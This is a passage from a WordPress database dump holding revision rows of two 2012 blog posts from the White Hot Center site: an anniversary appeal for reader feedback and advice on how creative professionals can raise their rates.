joining in on the conversation here just about every day. These little victories keep me in the game working to get better and grow my value to you all.</h2>\r\n<strong></strong>We both agree our beliefs about ourselves affect our progress. We both share the desire to be masters at thinking bigger and creating something amazing with our life.  We have a shared value that our greatest satisfaction and fulfillment in life will come from our contribution rather than from our status. We want our creative work to matter to us and serve the good of our clients. I believe these ideas bond us together in our conversations here.\r\n\r\nSimple put, my mission in life from here on out is to serve the good of my fellow creative entrepreneurs and solo professionals. I believe the White Hot Center is the perfect venue for me to accomplish that mission.\r\n\r\nConsequently, I like to reach out to you and ask you to tell me how I can get better– better at writing and sharing stuff that really matters to you and makes a difference in how you’re thinking about creating success.\r\n<h2>Please share your comment!</h2>', 'An Anniversary Reach-Out to WHC Readers!', 0, '', 'inherit', 'open', 'open', '', '2097-revision-2', '', '', '2012-07-08 08:54:46', '2012-07-08 15:54:46', '', 2097, 'http://www.whitehotcenter.com/2012/07/2097-revision-2/', 0, 'revision', '', 0),
(2101, 2, '2012-07-08 08:55:00', '2012-07-08 15:55:00', '<img class="alignnone size-full wp-image-2098" title="4years" src="http://whc.fbdev.org/wp-content/uploads/2012/07/4years.gif" alt="" width="495" height="278" />\r\n<h1><span style="color: #808080;">This summer marks the fourth year I have been blogging here on the White Hot Center. I’m delighted my little science project has over time attracted a loyal tribe of followers- you among them!  Thank you for your vote of confidence! How can I get better?</span></h1>\r\nEvery time I receive an email telling me I have another subscriber to the White Hot Center, my heart races and skips a beat. I never get over the amazing feeling I have when someone (of their own free will) thought my stuff was worth keeping up on and then subscribed–especially now, in our social media over-saturated, hyer-connected digital world.  Your attention is the currency of our age. I am blessed to have you as a subscriber!\r\n\r\n(BTW, if you’re reading this, and have not subscribed, you can subscribe by sharing your email in the form on the right. That would be awesome!).\r\n\r\nThis blogging experiment has been a fascinating (and frustrating)journey for me. I started writing because I felt I had something of value to share with my fellow creative entrepreneurs and solo professionals. I was thinking maybe I could shed some light on what it takes to live and master a life of your own design, creating the success you desire in every aspect of your scene. And more importantly, if my experience and expertise could help shorten your learning curve in areas of professional growth, lifestyle design, marketing and business development.\r\n<h2>With heartfelt thanks to you, I am thrilled to report that it’s working! More people are discovering the White Hot Center and joining in on the conversation here just about every day. These little victories keep me in the game working to get better and grow my value to you all.</h2>\r\n<strong></strong>We both agree our beliefs about ourselves affect our progress. We both share the desire to be masters at thinking bigger and creating something amazing with our life.  We have a shared value that our greatest satisfaction and fulfillment in life will come from our contribution rather than from our status. We want our creative work to matter to us and serve the good of our clients. I believe these ideas bond us together in our conversations here.\r\n\r\nSimple put, my mission in life from here on out is to serve the good of my fellow creative entrepreneurs and solo professionals. I believe the White Hot Center is the perfect venue for me to accomplish that mission.\r\n\r\nConsequently, I like to reach out to you and ask you to tell me how I can get better– better at writing and sharing stuff that really matters to you and makes a difference in how you’re thinking about creating success.\r\n<h2>Please share your comment!</h2>', 'An Anniversary Reach-Out to WHC Readers!', 0, '', 'inherit', 'open', 'open', '', '2097-revision-3', '', '', '2012-07-08 08:55:00', '2012-07-08 15:55:00', '', 2097, 'http://www.whitehotcenter.com/2012/07/2097-revision-3/', 0, 'revision', '', 0),
(2102, 2, '2012-07-08 09:15:39', '2012-07-08 16:15:39', '<img class="alignnone size-full wp-image-2098" title="4years" src="http://whc.fbdev.org/wp-content/uploads/2012/07/4years.gif" alt="" width="495" height="278" />\r\n<h1><span style="color: #808080;">This summer marks the fourth year I have been blogging here on the White Hot Center. I’m delighted my little science project has over time attracted a loyal tribe of followers- you among them!  Thank you for your vote of confidence! How can I get better?</span></h1>\r\nEvery time I receive an email telling me I have another subscriber to the White Hot Center, my heart races and skips a beat. I never get over the amazing feeling I have when someone (of their own free will) thought my stuff was worth keeping up on and then subscribed–especially now, in our social media over-saturated, hyer-connected digital world.  Your attention is the currency of our age. I am blessed to have you as a subscriber!\r\n\r\n(BTW, if you’re reading this, and have not subscribed, you can subscribe by sharing your email in the form on the right. That would be awesome!).\r\n\r\nThis blogging experiment has been a fascinating (and frustrating)journey for me. I started writing because I felt I had something of value to share with my fellow creative entrepreneurs and solo professionals. I was thinking maybe I could shed some light on what it takes to live and master a life of your own design, creating the success you desire in every aspect of your scene. And more importantly, if my experience and expertise could help shorten your learning curve in areas of professional growth, lifestyle design, marketing and business development.\r\n<h2>With heartfelt thanks to you, I am thrilled to report that it’s working! More people are discovering the White Hot Center and joining in on the conversation here just about every day. These little victories keep me in the game working to get better and grow my value to you all.</h2>\r\n<strong></strong>We both agree our beliefs about ourselves affect our progress. We both share the desire to be masters at thinking bigger and creating something amazing with our life.  We have a shared value that our greatest satisfaction and fulfillment in life will come from our contribution rather than from our status. We want our creative work to matter to us and serve the good of our clients. I believe these ideas bond us together in our conversations here.\r\n\r\nSimple put, my mission in life from here on out is to serve the good of my fellow creative entrepreneurs and solo professionals. I believe the White Hot Center is the perfect venue for me to accomplish that mission.\r\n\r\nConsequently, I like to reach out to you and ask you to tell me how I can get better– better at writing and sharing stuff that really matters to you and makes a difference in how you’re thinking about creating success.\r\n<h2>Please share your comment!</h2>', 'An Anniversary Reach-Out to WHC Readers!', 0, '', 'inherit', 'open', 'open', '', '2097-revision-4', '', '', '2012-07-08 09:15:39', '2012-07-08 16:15:39', '', 2097, 'http://www.whitehotcenter.com/2012/07/2097-revision-4/', 0, 'revision', '', 0),
(2103, 2, '2012-07-08 09:15:48', '2012-07-08 16:15:48', '<img class="alignnone size-full wp-image-2098" title="4years" src="http://whc.fbdev.org/wp-content/uploads/2012/07/4years.gif" alt="" width="495" height="278" />\r\n<h1><span style="color: #808080;">This summer marks the fourth year I have been blogging here on the White Hot Center. I’m delighted my little science project has over time attracted a loyal tribe of followers- you among them!  Thank you for your vote of confidence! How can I get better?</span></h1>\r\nEvery time I receive an email telling me I have another subscriber to the White Hot Center, my heart races and skips a beat. I never get over the amazing feeling I have when someone (of their own free will) thought my stuff was worth keeping up on and then subscribed–especially now, in our social media over-saturated, hyer-connected digital world.  Your attention is the currency of our age. I am blessed to have you as a subscriber!\r\n\r\n(BTW, if you’re reading this, and have not subscribed, you can subscribe by sharing your email in the form on the right. That would be awesome!).\r\n\r\nThis blogging experiment has been a fascinating (and frustrating)journey for me. I started writing because I felt I had something of value to share with my fellow creative entrepreneurs and solo professionals. I was thinking maybe I could shed some light on what it takes to live and master a life of your own design, creating the success you desire in every aspect of your scene. And more importantly, if my experience and expertise could help shorten your learning curve in areas of professional growth, lifestyle design, marketing and business development.\r\n<h2>With heartfelt thanks to you, I am thrilled to report that it’s working! More people are discovering the White Hot Center and joining in on the conversation here just about every day. These little victories keep me in the game working to get better and grow my value to you all.</h2>\r\n<strong></strong>We both agree our beliefs about ourselves affect our progress. We both share the desire to be masters at thinking bigger and creating something amazing with our life.  We have a shared value that our greatest satisfaction and fulfillment in life will come from our contribution rather than from our status. We want our creative work to matter to us and serve the good of our clients. I believe these ideas bond us together in our conversations here.\r\n\r\nSimple put, my mission in life from here on out is to serve the good of my fellow creative entrepreneurs and solo professionals. I believe the White Hot Center is the perfect venue for me to accomplish that mission.\r\n\r\nConsequently, I like to reach out to you and ask you to tell me how I can get better– better at writing and sharing stuff that really matters to you and makes a difference in how you’re thinking about creating success.\r\n<h2>Please share your comment!</h2>', 'An Anniversary Reach-Out to WHC Readers!', 0, '', 'inherit', 'open', 'open', '', '2097-revision-5', '', '', '2012-07-08 09:15:48', '2012-07-08 16:15:48', '', 2097, 'http://www.whitehotcenter.com/2012/07/2097-revision-5/', 0, 'revision', '', 0),
(2104, 2, '2012-07-08 09:33:05', '2012-07-08 16:33:05', '<img class="alignnone size-full wp-image-2098" title="4years" src="http://whc.fbdev.org/wp-content/uploads/2012/07/4years.gif" alt="" width="495" height="278" />\n<h1><span style="color: #808080;">This summer marks the fourth year of blogging here on the White Hot Center. I’m delighted my little science project has over time attracted a loyal tribe of followers-you among them! Thank you for your vote of confidence! Now how can I get better?</span></h1>\nEvery time I receive an email telling me I have another subscriber to the White Hot Center, my heart races and skips a beat. I never get over the amazing feeling I have when someone (of their own free will) thought my stuff was worth keeping up on and then subscribed–especially now, in our social-media-over-saturated-hyer-connected digital world.  Attention is the currency of our age. I am blessed to have enogh of yours that you are a subscriber!\n\n(BTW, if you’re reading this, and have not subscribed, you can subscribe by sharing your email in the form on the right. That would be awesome!).\n\nThis blogging experiment has been a fascinating (and frustrating) journey for me. I started writing because I felt I had something of value to share with my fellow creative entrepreneurs and solo professionals. I was compelled to follow my original idea that I could shed some light on what it takes to live and master a life of your own design, creating the success you desire in every aspect of your scene. And more importantly, if my experience and expertise could help shorten your learning curve in areas of professional growth, lifestyle design, value creation, marketing and business development.\n<h2>With heartfelt thanks to you, I am thrilled to report that it’s working! Every day more people are discovering the White Hot Center and joining in on the conversation here. These little victories keep me in the game working to get better and grow my value to you all.</h2>\n<strong></strong>Our beliefs about ourselves is the dominant factor affecting our progress toward achievement. Success is a mindset–an inner game we can master. It is this desire to be masters at thinking bigger and creating something amazing with our life that brings us together here. We have a shared value that our greatest satisfaction and fulfillment in life will come from our contribution rather than from our status. We want our creative work to matter to us and serve the good of our clients.\n\nSimple put, my mission in life from here on out is to serve the good of my fellow creative entrepreneurs and solo professionals. I believe the White Hot Center is the perfect venue for me to accomplish that mission. I''d like to grow the WHC. I''m looking for ideas and feedback from you. Please tell me how I can get better–better at writing and sharing stuff that really matters to you and makes a difference in how you’re thinking about creating success in every area of your life.\n<h2>Please share your comment!</h2>', 'An Anniversary Reach-Out to WHC Readers!', 0, '', 'inherit', 'open', 'open', '', '2097-revision-6', '', '', '2012-07-08 09:33:05', '2012-07-08 16:33:05', '', 2097, 'http://www.whitehotcenter.com/2012/07/2097-revision-6/', 0, 'revision', '', 0),
(2105, 2, '2012-07-08 09:33:35', '2012-07-08 16:33:35', '<img class="alignnone size-full wp-image-2098" title="4years" src="http://whc.fbdev.org/wp-content/uploads/2012/07/4years.gif" alt="" width="495" height="278" />\r\n<h1><span style="color: #808080;">This summer marks the fourth year of blogging here on the White Hot Center. I’m delighted my little science project has over time attracted a loyal tribe of followers-you among them! Thank you for your vote of confidence! Now how can I get better?</span></h1>\r\nEvery time I receive an email telling me I have another subscriber to the White Hot Center, my heart races and skips a beat. I never get over the amazing feeling I have when someone (of their own free will) thought my stuff was worth keeping up on and then subscribed–especially now, in our social-media-over-saturated-hyer-connected digital world.  Attention is the currency of our age. I am blessed to have enogh of yours that you are a subscriber!\r\n\r\n(BTW, if you’re reading this, and have not subscribed, you can subscribe by sharing your email in the form on the right. That would be awesome!).\r\n\r\nThis blogging experiment has been a fascinating (and frustrating) journey for me. I started writing because I felt I had something of value to share with my fellow creative entrepreneurs and solo professionals. I was compelled to follow my original idea that I could shed some light on what it takes to live and master a life of your own design, creating the success you desire in every aspect of your scene. And more importantly, if my experience and expertise could help shorten your learning curve in areas of professional growth, lifestyle design, value creation, marketing and business development.\r\n<h2>With heartfelt thanks to you, I am thrilled to report that it’s working! Every day more people are discovering the White Hot Center and joining in on the conversation here. These little victories keep me in the game working to get better and grow my value to you all.</h2>\r\n<strong></strong>Our beliefs about ourselves is the dominant factor affecting our progress toward achievement. Success is a mindset–an inner game we can master. It is this desire to be masters at thinking bigger and creating something amazing with our life that brings us together here. We have a shared value that our greatest satisfaction and fulfillment in life will come from our contribution rather than from our status. We want our creative work to matter to us and serve the good of our clients.\r\n\r\nSimple put, my mission in life from here on out is to serve the good of my fellow creative entrepreneurs and solo professionals. I believe the White Hot Center is the perfect venue for me to accomplish that mission. I''d like to grow the WHC. I''m looking for ideas and feedback from you. Please tell me how I can get better–better at writing and sharing stuff that really matters to you and makes a difference in how you’re thinking about creating success in every area of your life.\r\n<h2>Please share your comment!</h2>', 'An Anniversary Reach-Out to WHC Readers!', 0, '', 'inherit', 'open', 'open', '', '2097-revision-7', '', '', '2012-07-08 09:33:35', '2012-07-08 16:33:35', '', 2097, 'http://www.whitehotcenter.com/2012/07/2097-revision-7/', 0, 'revision', '', 0),
(2106, 2, '2012-07-08 09:33:43', '2012-07-08 16:33:43', '<img class="alignnone size-full wp-image-2098" title="4years" src="http://whc.fbdev.org/wp-content/uploads/2012/07/4years.gif" alt="" width="495" height="278" />\r\n<h1><span style="color: #808080;">This summer marks the fourth year of blogging here on the White Hot Center. I’m delighted my little science project has over time attracted a loyal tribe of followers-you among them! Thank you for your vote of confidence! Now how can I get better?</span></h1>\r\nEvery time I receive an email telling me I have another subscriber to the White Hot Center, my heart races and skips a beat. I never get over the amazing feeling I have when someone (of their own free will) thought my stuff was worth keeping up on and then subscribed–especially now, in our social-media-over-saturated-hyer-connected digital world.  Attention is the currency of our age. I am blessed to have enogh of yours that you are a subscriber!\r\n\r\n(BTW, if you’re reading this, and have not subscribed, you can subscribe by sharing your email in the form on the right. That would be awesome!).\r\n\r\nThis blogging experiment has been a fascinating (and frustrating) journey for me. I started writing because I felt I had something of value to share with my fellow creative entrepreneurs and solo professionals. I was compelled to follow my original idea that I could shed some light on what it takes to live and master a life of your own design, creating the success you desire in every aspect of your scene. And more importantly, if my experience and expertise could help shorten your learning curve in areas of professional growth, lifestyle design, value creation, marketing and business development.\r\n<h2>With heartfelt thanks to you, I am thrilled to report that it’s working! Every day more people are discovering the White Hot Center and joining in on the conversation here. These little victories keep me in the game working to get better and grow my value to you all.</h2>\r\n<strong></strong>Our beliefs about ourselves is the dominant factor affecting our progress toward achievement. Success is a mindset–an inner game we can master. It is this desire to be masters at thinking bigger and creating something amazing with our life that brings us together here. We have a shared value that our greatest satisfaction and fulfillment in life will come from our contribution rather than from our status. We want our creative work to matter to us and serve the good of our clients.\r\n\r\nSimple put, my mission in life from here on out is to serve the good of my fellow creative entrepreneurs and solo professionals. I believe the White Hot Center is the perfect venue for me to accomplish that mission. I''d like to grow the WHC. I''m looking for ideas and feedback from you. Please tell me how I can get better–better at writing and sharing stuff that really matters to you and makes a difference in how you’re thinking about creating success in every area of your life.\r\n<h2>Please share your comment!</h2>', 'An Anniversary Reach-Out to WHC Readers!', 0, '', 'inherit', 'open', 'open', '', '2097-revision-8', '', '', '2012-07-08 09:33:43', '2012-07-08 16:33:43', '', 2097, 'http://www.whitehotcenter.com/2012/07/2097-revision-8/', 0, 'revision', '', 0);
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(2108, 2, '2012-07-25 15:49:26', '2012-07-25 22:49:26', '<div>\r\n\r\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\r\n<h1><span style="color: #808080;">If you want to raise your professional fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\r\nIt doesn’t matter how much time you may spend on a project, your client places little value on your time and your hourly rate. How can you raise the price on something clients don''t care about in the first place? Would you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\r\n\r\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\r\n<h2>Here is the simple key to commanding more money for your services:<strong>\r\n</strong>Provide more “use value” to your client than they pay you in cash value.</h2>\r\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\r\n\r\n•  they provide relevant and highly-valued business outcomes for their clients,\r\n\r\n•  they have the ability to quickly build trust and strong emotional connections with their clients,\r\n\r\n•  they are known and perceived to deliver deep specialized value for the price,\r\n\r\n• their clients believe there are no or few substitutes for what they deliver.\r\n\r\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\r\n\r\n<strong>Believe you’re worthy of receiving more money!</strong>\r\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\r\n\r\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\r\n\r\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\r\n\r\n<strong>Specialize!</strong>\r\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\r\n\r\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\r\n\r\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\r\n\r\n<strong>Deliver outcomes not stuff!</strong>\r\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\r\n\r\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\r\n\r\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'publish', 'open', 'open', '', 'how-to-raise-your-rates-and-have-clients-love-you-for-it', '', '', '2012-07-25 15:56:54', '2012-07-25 22:56:54', '', 0, 'http://www.whitehotcenter.com/?p=2108', 0, 'post', '', 0),
(2109, 2, '2012-07-25 15:38:12', '2012-07-25 22:38:12', '', 'raise your price', 0, '', 'inherit', 'open', 'open', '', 'price', '', '', '2012-07-25 15:38:12', '2012-07-25 22:38:12', '', 2108, 'http://www.whitehotcenter.com/wp-content/uploads/2012/07/price.jpg', 0, 'attachment', 'image/jpeg', 0),
(2110, 2, '2012-07-25 15:40:45', '2012-07-25 22:40:45', '<div>\n\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\n<h1><span style="color: #808080;">If you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\nWould you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\n\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\n\nHere is the simple key to commanding more money for your services:\n\n<strong>Provide more “use value” to your client than they pay you in cash value.</strong>\n\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\n\n- they provide relevant and highly-valued business outcomes for their clients,\n\n-  they have the ability to quickly build trust and strong emotional connections\nwith their clients,\n\n-  they are known and perceived to deliver deep specialized value for the price,\n\n- their clients believe there are no or few substitutes for what they deliver.\n\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\n\n<strong>Believe you’re worthy of receiving more money!</strong>\n\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\n\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\n\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\n\n<strong>Specialize!</strong>\n\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\n\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\n\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\n\n<strong>Deliver outcomes not stuff!</strong>\n\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\n\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\n\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'inherit', 'open', 'open', '', '2108-revision', '', '', '2012-07-25 15:40:45', '2012-07-25 22:40:45', '', 2108, 'http://www.whitehotcenter.com/2012/07/2108-revision/', 0, 'revision', '', 0),
(2111, 2, '2012-07-25 15:41:00', '2012-07-25 22:41:00', '<div>\r\n\r\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\r\n<h1><span style="color: #808080;">If you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\r\nWould you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\r\n\r\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\r\n\r\nHere is the simple key to commanding more money for your services:\r\n\r\n<strong>Provide more “use value” to your client than they pay you in cash value.</strong>\r\n\r\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\r\n\r\n- they provide relevant and highly-valued business outcomes for their clients,\r\n\r\n-  they have the ability to quickly build trust and strong emotional connections\r\nwith their clients,\r\n\r\n-  they are known and perceived to deliver deep specialized value for the price,\r\n\r\n- their clients believe there are no or few substitutes for what they deliver.\r\n\r\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\r\n\r\n<strong>Believe you’re worthy of receiving more money!</strong>\r\n\r\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\r\n\r\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\r\n\r\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\r\n\r\n<strong>Specialize!</strong>\r\n\r\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\r\n\r\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\r\n\r\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\r\n\r\n<strong>Deliver outcomes not stuff!</strong>\r\n\r\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\r\n\r\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\r\n\r\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'inherit', 'open', 'open', '', '2108-revision-2', '', '', '2012-07-25 15:41:00', '2012-07-25 22:41:00', '', 2108, 'http://www.whitehotcenter.com/2012/07/2108-revision-2/', 0, 'revision', '', 0),
(2112, 2, '2012-07-25 15:41:10', '2012-07-25 22:41:10', '<div>\r\n\r\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\r\n<h1><span style="color: #808080;">If you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\r\nWould you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\r\n\r\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\r\n\r\nHere is the simple key to commanding more money for your services:\r\n\r\n<strong>Provide more “use value” to your client than they pay you in cash value.</strong>\r\n\r\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\r\n\r\n- they provide relevant and highly-valued business outcomes for their clients,\r\n\r\n-  they have the ability to quickly build trust and strong emotional connections\r\nwith their clients,\r\n\r\n-  they are known and perceived to deliver deep specialized value for the price,\r\n\r\n- their clients believe there are no or few substitutes for what they deliver.\r\n\r\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\r\n\r\n<strong>Believe you’re worthy of receiving more money!</strong>\r\n\r\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\r\n\r\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\r\n\r\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\r\n\r\n<strong>Specialize!</strong>\r\n\r\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\r\n\r\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\r\n\r\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\r\n\r\n<strong>Deliver outcomes not stuff!</strong>\r\n\r\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\r\n\r\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\r\n\r\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'inherit', 'open', 'open', '', '2108-revision-3', '', '', '2012-07-25 15:41:10', '2012-07-25 22:41:10', '', 2108, 'http://www.whitehotcenter.com/2012/07/2108-revision-3/', 0, 'revision', '', 0),
